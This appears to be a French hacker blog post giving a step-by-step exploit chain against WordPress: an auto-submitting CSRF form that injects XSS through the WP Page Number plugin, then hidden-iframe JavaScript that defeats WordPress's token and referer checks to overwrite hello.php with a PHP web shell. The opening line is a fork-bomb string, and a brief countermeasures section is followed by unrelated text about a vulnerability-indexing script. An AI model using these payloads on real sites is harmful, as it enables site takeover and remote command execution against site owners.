OK, What’s the :(){:|:&};: ?

Premier ingrédient, une extension vulnérable. Pour cela, il ne faut pas aller chercher très loin, une simple recherche dans les extensions les plus populaires de Wordpress vous permettra de trouver votre bonheur en XSS, CSRF et autres trucs marrants. Perso, j’ai choisi WP Page Number, car elle est utilisée par beaucoup de blogs *han la-la je fais du full disc*. Cette dernière est vulnérable aux deux failles donc voici comment va se dérouler l’attaque :

1. Exécution d’une CSRF lambda par POST afin d’exécuter une XSS.
2. A partir de cette XSS, réalisation d’une iframe et exécution d’un script.
3. Modification des éléments DOM de la page « framée » afin de backdoorer un contenu.
4. Envoi de la soupe avec la fonction « submit ».

J’ai perdu personne ? Bon, passons de la théorie à la pratique.

Step 1. Mise en place de la première CSRF

Afin de réaliser la première CSRF en POST, il faut simplement réaliser un petit formulaire qui s’envoie automatiquement dès que la victime charge la page. Plusieurs techniques sont alors possibles dans les évènements DOM pour réaliser cela. Perso, j’ai mon petit faible pour onerror avec une image malle interprétée mais l’on peut utiliser des onload, onfocus (html5) ou onmouseover et un peu de CSS etc.

Donc on y va ! Un simple form en display:none fera l’affaire. Exemple :

<form action=’ ‘ method=’post’ id=’blop’ style=’display:none’></form>
<img src=’x’ onerror=’blop.submit()’>

Ensuite, on regarde le nombre de champs que possède notre plugin, soit à la main, long et chiant, soit en utilisant Tamperdata. On s’aperçoit peu après que hô magie, seuls deux champs sont obligatoires. Donc on refait notre super form avec les deux champs et on teste l’injection de code HTML.

<form action=’ [plugin URL]‘ method=’post’ id=’blop’ style=’display:none’>
<input name=’submitted’ value=’yes’>
<input name=’page_of_page_text’ value=’ »/><h1>lol</h1>’>
</form>
<img src=’x’ onerror=’blop.submit()’>

Et une belle image pour émoustiller le public…

Yes ! It works ! Great. Bon, on passe à des choses un peu plus ardues. Nous avons réalisé l’exploitation de notre première CSRF aboutissant à une exécution de code en client side sur le domaine visé. Pour ceux qui ont l’habitude d’auditer pour le fun des extensions Wordpress, une grande partie est vulnérable aux XSS (par exemple, All in one SEO), en ce qui concerne les CSRF, c’est un peu plus limité. Cependant, dès que ça l’est, cela peut faire très mal et c’est ce que nous allons voir.

Step 2. Contournement des protections anti-CSRF de WP.

J’ai commencé cette exploitation en « backbox » donc je reste en « blackbox ». Dès qu’on a une XSS sur un domaine, la plupart des protections anti-CSRF par token sautent du fait de la possible récupération en Javascript du token permettant de sécuriser la transaction (eh oui, SOP n’est plus d’aucune utilité). D’ailleurs, une attaque de type « Return-to-jQuery » peut permettre la récupération du token et l’envoi du formulaire visé en une ligne.

Cependant, face à ce type d’attaque, Wordpress à l’air de résister. Je ne suis pas allé dans le code chercher quelle était la fonction qui rendait la tâche plus ardue. Cependant, ma petite idée est simple : anti-CSRF = (token + contrôle du referer). Pour contourner ce petit problème, j’ai cherché quelques minutes et j’ai trouvé, il suffit d’interagir avec une iframe.

Le concept est simple : on « frame » la page contenant le formulaire protégé par token que l’on veut envoyer, on interagit avec les éléments du formulaire directement à partir de la page parente afin de changer les contenu des inputs et d’envoyer le tout. Cela permet ainsi de casser la deuxième protection anti-CSRF liée au referer.

Step 3. Développement de l’exploit.

Donc c’est parti ! On crée une nouvelle iframe que l’on injectera avec du code javascript lors de l’exécution de notre première CSRF sur l’extension vulnérable. Cette iframe devra être composée d’une simple source. A cette iframe, on ajoute un code Javascript qui réalisera plusieurs choses :

• Ajout d’un shell au textarea du formulaire « framé »
• Changement de l’attribut « name » de l’input « submit »
• Lancement de l’attaque en envoyant le bon formulaire dans le contexte de la page framée.

Le code « final » de l’exploitation de la deuxième « CSRF protégée » grâce à une iframe aura donc cette allure :

<script>

function exploit(){

var content = frames[0].document.getElementById(’newcontent’);
var inputs = frames[0].document.getElementsByTagName(’input’);
content.value=’<?php echo system($_GET["cmd"]); ?>’;
inputs[7].setAttribute( »name », »");
frames[0].document.forms[1].submit()’;

}
</script>

<body onload=’javascript:exploit()’></body>
<iframe src=’[URL]/plugin-editor.php?plugin=hello.php’ width=’0′ height=’0′>

Quelques explications peuvent être utiles face à ce petit bout de code. Tout d’abord, il remplace le contenu du textarea contenant le code source du plugin hello.php par un shell. Ensuite, il récupère l’élément submit avec lequel on veut interagir et enlève son nom. Pourquoi ? Je ne le sais pas, apparemment le moteur JS aime pas lorsque deux éléments ont le même nom sur une page, donc j’ai trouvé cette unique solution. Ensuite, nous voulons envoyer le formulaire donc il nous faut faire exécuter par le deuxième formulaire une simple fonction submit().

Voilà, à partir de là, vous avez juste à rendre le code peu portable le code pour lui permettre de bypasser des protections telles que les magic_quotes et de le lier avec ce qu’il a été fait à l’étape 1 (je ne vais pas tout vous donner sur un plateau). Pour information, si j’ai mis une deuxième balise body, c’est simplement pour exécuter automatiquement le script exploit (les évènements concurrents DOM du style « onerror » ne fonctionnant pas).

Évidemment, j’ai pris Wordpress, car cela était un cas assez intéressant, mais nous aurions pu prendre d’autres CMS, les plugins vulnérables développés par des « amateurs » ce n’est pas ce qui manque sur l’internet.

Step 4. Contre-mesures.

Afin de contrer ce type de menaces, plusieurs contre mesures peuvent être mises en place. Tout d’abord, limiter le nombre d’extensions au strict nécessaire. De plus, un WAF/IDS (mod_security, phpids etc.) sympa pourrait permettre de limiter ce type de désagréments même si, configuré par défaut, il limitera l’édition d’articles et de pages sur votre blog. Enfin, rien ne vaut un bon Noscript afin de limiter l’exécution de codes malveillants en client side.

Ce script s’appelle Security Bugs Hunter et permet donc l’indexation de vulnérabilités suivant des scripts, avec la possibilité d’enregistrer le code vulnérable, le Proof of Concept de la vulnérabilité, des combos de vulnérabilités etc. Il possède par ailleurs un système de membres ayant plusieurs permissions, permettant ainsi au super administrateur de les régler suivant la confiance qu’il possède envers les abonnés.

Bref, le script aujourd’hui est beau certes, mais très pauvre en fonctionnalités (au pire, c’était juste pour me faire la main sur jQuery pour passer ensuite à autre chose…). Bref, je pense rajouter différentes petites choses telles que la possibilité d’Uploader l’application à auditer (et d’indexer ensuite par versions), de rechercher dans son code des vulnérabilités potentielles à grand coup de Regex (ce qui va ralentir un max.) et différentes choses.

Si vous voulez voir ce que cela donne, c’est par ici. Je mettrai le code source à télécharger dans quelques jours, histoire de bien le commenter et de l’alléger avec un peu de docs. (en y allant, vous gagnerez des 0dayz sur un script =)